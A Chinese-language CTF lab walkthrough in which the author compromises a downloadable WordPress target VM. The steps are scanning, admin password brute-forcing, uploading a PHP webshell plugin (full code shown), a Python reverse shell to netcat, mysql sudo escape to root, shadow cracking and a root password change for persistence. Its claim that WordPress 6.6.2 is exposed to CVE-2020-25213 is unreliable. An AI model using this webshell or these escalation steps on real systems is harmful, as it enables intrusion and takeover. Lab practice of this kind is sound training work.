基本信息
靶机下载：https://pan.baidu.com/s/1n__Xi5zpDxtNvuR_Be-2Dg?pwd=76wa 提取码: 76wa
攻击机器：192.168.20.128（Windows操作系统）
靶机：192.168.20.0/24
目标：获取2个flag+root权限
本次靶机难度较为简单，不涉及内网穿透等内容，是我第一次尝试红队攻击，故在此记录
具体流程
信息收集
首先我们拿到一个靶机，第一个要做的事情就是进行信息收集，看看靶机是否开放了某些具有漏洞的服务可以让我们进行渗透，由于靶机是部署在我虚拟机下的，所以我可以通过我的攻击机器知道靶机的网段是192.168.20.0/24，所以我们首先使用nmap扫描网段下存活的所有主机
执行命令nmap -sn 192.168.20.0/24
192.168.20.1是我自己主机的IP地址，192.168.20.2是网关出口，192.168.20.128是我的攻击主机，所以这里存疑的只有192.168.20.132以及192.168.20.254，所以我们直接扫描这两个IP地址开放的端口来进行进一步确认
执行命令nmap 192.168.20.132 192.168.20.254
我们可以进一步确定我们靶机的IP是192.168.20.132，且开放了80端口作为web服务，我们接着利用浏览器访问其80端口，看看能不能发现什么
这一看就是要进行路径扫描，我们直接使用diresearch进行路径扫描，执行命令python dirsearch.py -u http://192.168.20.132/，如下所示
我们发现有wordpress的登录后台，我们尝试访问即可，访问界面如下所示
一开始我以为是我虚拟机的浏览器禁用了js，后来换成我主机的浏览器进行访问，发现还是这个样子，我接下来查看我浏览器配置的插件发现了关键信息，如下图所示
我的findsomething插件显示的当前页面的IP地址为192.168.159.145，这显然和web页面的真实IP地址不一样，所以这里肯定是进行了IP替换，我们要通过bp进行代理，来重新更换回来，如下所示
我们在BP中进行如下设置之后，把浏览器的代理切换为BP进行代理，然后我们再尝试访问，如下所示
我们可以发现页面访问正常，说明我们成功绕过了第一个限制
后台密码爆破
渗透思路很清晰，我们能够成功访问到后台登录界面，现在唯一要做的就是爆破出登录的账号密码进行登录即可，这个时候就要体现出字典的强大性了，由于刚刚后台路径扫描的过程中出现了 /tools/adminer.php，所以我们不妨猜测账号为admin，爆破页面如下所示
我们发现这里有唯一一个状态码是重定向的，所以这个密码应该是正确的，所以密码为adam14，我们尝试登录，发现可以登录上去
漏洞利用
首先我们可以看到wordpress的版本号，wordpress的版本号为6.6.2，我们尝试搜索其历史漏洞。看看是否爆出过历史漏洞，我们发现存在CVE-2020-25213远程代码执行的漏洞，所以我们尝试上传PHP脚本以进行任意命令执行，其中我们的后门代码如下所示
<?php/*** Plugin Name:Webshell* Plugin URI:https//borgeous.github.io* Description:WP Webshell for Pentest* Version:1.0* Author:borgeous* Author URI:https://borgeous.github.io* License:https://borgeosus.github.io*/if(isset($_GET['pass'])){system($_GET['pass']);}?>
这里要注意的是，一定不能缺少上面的说明部分，这是wordpress插件的固定格式，且要压缩成zip文件包进行上传
我们在激活插件后尝试访问如下地址
http://192.168.20.132/wordpress/wp-content/plugins/shell.php?pass=whoami
我们发现可以成功执行任意命令
反弹shell
既然可以成功执行任意命令，那么接下来就是进行反弹shell拿主机命令执行权限
首先我们运行主机的nc进行监听9001端口
紧接着我们用fantanshell生成器进行生成fantanshell，因为绝大部分靶机都有python环境，所以我们尝试使用python来进行反弹shell，如下所示
我们将该命令进行执行，如下所示
我们发现靶机已经成功上线，成功获取权限，我们此时切换到家目录，我们发现存在wpadmin用户，我们进入wpadmin用户，可以发现存在local.txt文件，我们尝试读取，但是发现权限不够，所以我们尝试切换wpadmin用户，密码试着使用adam14，发现成功进去，并成功获取第一个flag值
flag{Ava}
mysql提权
我们首先执行sudo -l命令列出当前用户在使用sudo命令时可以执行的命令列表
我们发现用户wpadmin可以无需输入密码（NOPASSWD）以root用户的权限执行/usr/bin/mysql命令，连接到名为wordpress的数据库，我们尝试执行即可
需要数据库密码，我们尝试密码复用，因为在真实环境中，会出现很多密码复用的情况，所以我们依然尝试adam14
我们可以发现成功进入，然后我们利用mysql的system命令来帮助我们直接以root身份执行系统命令（\ !是mysql命令中system的简写）。然后我们直接利用 \!来使用 /bin/bash命令以 root的身份来使用 shell
成功获得root权限，且获得第二个flag
flag{Adam}
至此全部解决，我们可以尝试爆破root的密码，因为我们已经拿到了root权限，所以可以访问shadow文件，我们尝试使用john进行爆破
发现密码本中没有该root密码，我们尝试修改root密码以维持权限
成功拿到主机权限
